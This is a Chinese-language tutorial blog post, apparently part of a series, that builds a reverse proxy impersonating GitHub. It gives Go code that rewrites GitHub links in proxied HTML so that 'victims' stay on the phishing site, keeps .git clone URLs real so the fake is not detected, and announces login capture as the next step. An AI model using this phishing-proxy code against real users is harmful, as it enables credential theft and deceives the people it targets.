因為昨天發現左上角的 Github logo 會把使用者導回真正的 Github,打開 devtool 看到 https://github.com/
是直接被寫死在 HTML 裡面的,所以今天要針對 HTML 檔替換網址
因為我們的 reverse proxy 會轉發所有請求,包刮 HTML、圖片、動畫等等,但如果要針對所有請求都取代的話太花時間,所以就只針對 html 檔做取代
在每個 Github 回覆的 HTTP Header 裡面都有一個欄位叫做 Content-Type
,負責描述這個內容是什麼 MIME 類型,像 HTML 檔的 MIME 就是 text/html
、png 檔就是 image/png
,所以可以介由 Content-Type
來判斷檔案類型
先判斷是不是 html,然後取代裡面的 Github 網址,這樣受害者就會一直困在我們的 Phish Github
昨天有寫一個 sendReqToUpstream
負責發請求到 Upstream(Github)然後回傳 body,現在還需要 header 所以讓他同時回傳 body 跟 header
func sendReqToUpstream(req *http.Request) ([]byte, http.Header) {
client := http.Client{}
resp, err := client.Do(req)
//...
return respBody, resp.Header
}
先判斷是不是 text/html
然後做取代
func replaceURLInResp(body []byte, header http.Header) []byte {
// 判斷 Content-Type 是不是 text/html
contentType := header.Get("Content-Type")
isHTML := strings.Contains(contentType, "text/html")
// 如果不是 HTML 就不取代
if !isHTML {
return body
}
// 把 https://github.com 取代為 http://localhost:8080
// strings.Replace 最後一個參數是指最多取代幾個,-1 就是全部都取代
bodyStr := string(body)
bodyStr = strings.Replace(bodyStr, "https://github.com", "http://localhost:8080", -1)
return []byte(bodyStr)
}
handler
部份先讓 body 經過 replaceURLInResp
再回傳給瀏覽器
func handler(w http.ResponseWriter, r *http.Request) {
// ...
// 取得 header
body, header := sendReqToUpstream(req)
// 取代後的 body
body = replaceURLInResp(body, header)
w.Write(body)
}
因為 .git 的網址也是 https://github.com
開頭,所以會被取代成 localhost,這樣不能 clone 會被發現是假網站,所以要把網域再取代回 github
這邊要使用 Regular expression 判斷是不是 .git 網址,git 網址有兩個特徵:
http://localhoat:8080
.git
根據這兩個特徵寫出的 regular expression 是 http://localhost:8080(.*)\.git
,中間的 (.*)
是任意字串的意思
接下來就是把前面那一串開頭再取代回 https://github.com
,這樣就大功告成了~
func replaceURLInResp(...) []body {
// ...
// 尋找符合 git 網址的特徵
re, err := regexp.Compile(`http://localhost:8080(.*)\.git`)
if err != nil {
panic(err)
}
// 取代成 github 網址
bodyStr = re.ReplaceAllString(bodyStr, `https://github.com$1.git`)
return []byte(bodyStr)
}
現在直接把網域名寫在扣裡面日後會很難修改,所以把他們獨立出來變成兩個常數,網址部分都換成這兩個常數這樣會乾淨許多,這部份很簡單就不貼詳細的程式碼了
const (
upstreamURL = "https://github.com"
phishURL = "http://localhost:8080"
)
今天講了如何從 HTTP header 中判斷是不是 HTML 還有取代網址,應該算滿簡單的,今天的程式碼分成 ebb805e 跟 7c2dd69 兩個 commit,有問題歡迎在下面留言,沒問題的話接下來就要開始做比較難的登入囉~